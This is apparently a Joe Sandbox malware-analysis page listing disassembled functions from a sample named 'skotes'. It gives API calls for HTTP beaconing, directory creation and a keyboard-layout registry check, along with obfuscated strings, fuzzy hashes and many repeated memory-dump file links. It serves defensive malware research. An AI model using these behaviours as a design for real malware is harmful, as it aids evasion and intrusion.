Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1"$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2640364259
Opcode ID: 3facaa3930a8fc205105619abf65d061912ce970f24ce9223d12c9f03758c946
Instruction ID: 20686e47563b4bf1706f57bef729b80d2cbec1ad5574e3e0fd64b2cc1a7ce228
Opcode Fuzzy Hash: 3facaa3930a8fc205105619abf65d061912ce970f24ce9223d12c9f03758c946
Instruction Fuzzy Hash: 7F82F570904288EBEF15DF68C959BDE7FB6AB16304F50818DE805273C2D7759A88CBD2

Function 001C65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 001C6680

Strings

RySfdMLx, xrefs: 001C669C
ISNmfV==, xrefs: 001C67D1
GSTmfV==, xrefs: 001C6728

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 7e87c11972143e45a344bf68b7bbdfb3376e7927306a83eb44092fc80774a7b2
Instruction ID: 9da432e30e3f0294bf2443e2e509c21f7cfae5dde626ccbaad8ec244d82921cb
Opcode Fuzzy Hash: 7e87c11972143e45a344bf68b7bbdfb3376e7927306a83eb44092fc80774a7b2
Instruction Fuzzy Hash: C291AFB19002289BDB28DB68CC85FEDB779EB55304F4045EDE51997282DB319BC8CFA4

Function 001CEB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001CEB51
CreateDirectoryA.KERNELBASE(00000000), ref: 001CEC83
GetFileAttributesA.KERNELBASE(00000000), ref: 001CED98

Strings

UA==, xrefs: 001CEC41, 001CED56, 001CEF89, 001CF2CE
9c9aa5, xrefs: 001CFB8E
WTs=, xrefs: 001D05CA
mxo1L0x, xrefs: 001CEE84
L1", xrefs: 001CF7E5
FisgLnsCZO1i, xrefs: 001CFF19
FCQgKF==, xrefs: 001CFEE4
246122658369, xrefs: 001CF737, 001CFA14, 001CFE00, 001D05E7
stoi argument out of range, xrefs: 001D08C4
invalid stoi argument, xrefs: 001D08B0
GiQaT29tduF=, xrefs: 001CFEB6
111, xrefs: 001CF7A0
WDw=, xrefs: 001CF71D, 001CF9FA, 001CFDE3
#, xrefs: 001D0624

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1"$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-3280481259
Opcode ID: cea24e19a5e71530747c14cb5a7fe43c1ce2f5f1b3f958bf876f47d84b6cd0bf
Instruction ID: db41b7512dc48e54d1a698e01b4fd1d73d0d4625ff70ce2ee0bb3c7ca609e789
Opcode Fuzzy Hash: cea24e19a5e71530747c14cb5a7fe43c1ce2f5f1b3f958bf876f47d84b6cd0bf
Instruction Fuzzy Hash: 05F26671A001489BEF19DB38CD89B9DBB72AF95304F14829DE408A73D6DB35DAC4CB91

Function 001CBE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000005DC,BEAAE258,?,00000000), ref: 001CBEB8
InternetOpenW.WININET(00218DC8,00000000,00000000,00000000,00000000), ref: 001CBEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 001CBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 001CBF36
HttpSendRequestA.WININET(?,00000000), ref: 001CBFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 001CC0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 001CC161
InternetCloseHandle.WININET(?), ref: 001CC187
InternetCloseHandle.WININET(?), ref: 001CC18F
InternetCloseHandle.WININET(?), ref: 001CC197

Strings

RE1NXF==, xrefs: 001CBF0E
stoi argument out of range, xrefs: 001CE4EA
8HJUeIfzLo==, xrefs: 001CC3CB, 001CC623
invalid stoi argument, xrefs: 001CE4F4
8HJUeMD Lq5=, xrefs: 001CC465

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 8381244f778829280ec1660c65fcdb9c4506fc0cfac1e6070979697c5e38b6a1
Instruction ID: 6e15114377dea849151341e9e73d317d0a40adfd8622e426211186aca4f83f62
Opcode Fuzzy Hash: 8381244f778829280ec1660c65fcdb9c4506fc0cfac1e6070979697c5e38b6a1
Instruction Fuzzy Hash: C8B1C0B1A001189BDB28CF28CC85BAEBB79EF55304F50819DF50997292DB71DEC4CB95

Function 001C6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 001C617D
RegEnumValueA.KERNELBASE(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 001C6271

Strings

0000043f, xrefs: 001C612B
Keyboard Layout\Preload, xrefs: 001C6054
00000419, xrefs: 001C6098
00000422, xrefs: 001C60C9
00000423, xrefs: 001C60FA

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
